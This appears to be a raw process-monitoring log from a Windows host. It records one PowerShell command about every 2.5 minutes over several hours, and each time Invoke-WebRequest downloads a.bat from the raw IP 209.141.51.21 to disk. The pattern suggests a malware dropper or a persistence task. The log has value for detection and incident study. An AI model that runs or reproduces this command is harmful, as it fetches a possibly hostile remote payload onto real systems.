PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 00:28:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 00:31:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 00:33:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 00:36:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 00:38:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 00:41:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 00:43:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 00:46:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 00:48:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 00:51:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 00:53:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 00:56:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 00:58:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 01:01:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 01:03:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 01:06:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 01:08:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 01:11:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 01:13:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 01:16:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 01:18:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 01:21:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 01:23:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 01:26:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 01:28:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 01:31:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 01:33:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 01:36:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 01:38:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 01:41:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 01:43:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 01:46:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 01:48:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 01:51:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 01:53:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 01:56:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 01:58:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 02:01:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 02:03:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 02:06:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 02:08:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 02:11:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 02:13:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 02:16:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 02:18:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 02:21:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 02:23:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 02:26:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 02:28:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 02:31:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 02:33:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 02:36:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 02:38:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 02:41:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 02:43:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 02:46:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 02:49:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 02:51:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 02:54:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 02:56:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 02:59:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 03:01:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 03:04:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 03:06:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 03:09:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 03:11:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 03:14:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 03:16:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 03:19:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 03:21:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 03:24:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 03:26:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 03:29:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 03:31:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 03:34:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 03:36:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 03:39:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 03:41:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 03:44:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 03:46:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 03:49:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 03:51:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 03:54:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 03:56:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 03:59:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 04:01:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 04:04:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 04:06:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 04:09:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 04:11:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 04:14:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 04:16:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 04:19:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 04:21:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 04:24:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 04:26:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 04:29:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 04:31:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 04:34:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 04:36:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 04:39:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 04:41:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 04:44:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 04:46:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 04:49:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 04:51:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 04:54:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 04:56:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 04:59:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 05:01:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 05:04:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 05:06:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 05:09:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 05:11:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 05:14:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 05:16:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 05:19:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 05:21:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 05:24:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 05:26:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 05:29:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 05:31:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 05:34:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 05:36:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 05:39:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 05:41:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 05:44:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 05:46:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 05:49:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 05:51:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 05:54:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 05:56:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 05:59:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 06:01:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 06:04:14 NOTIFY: PROCESS 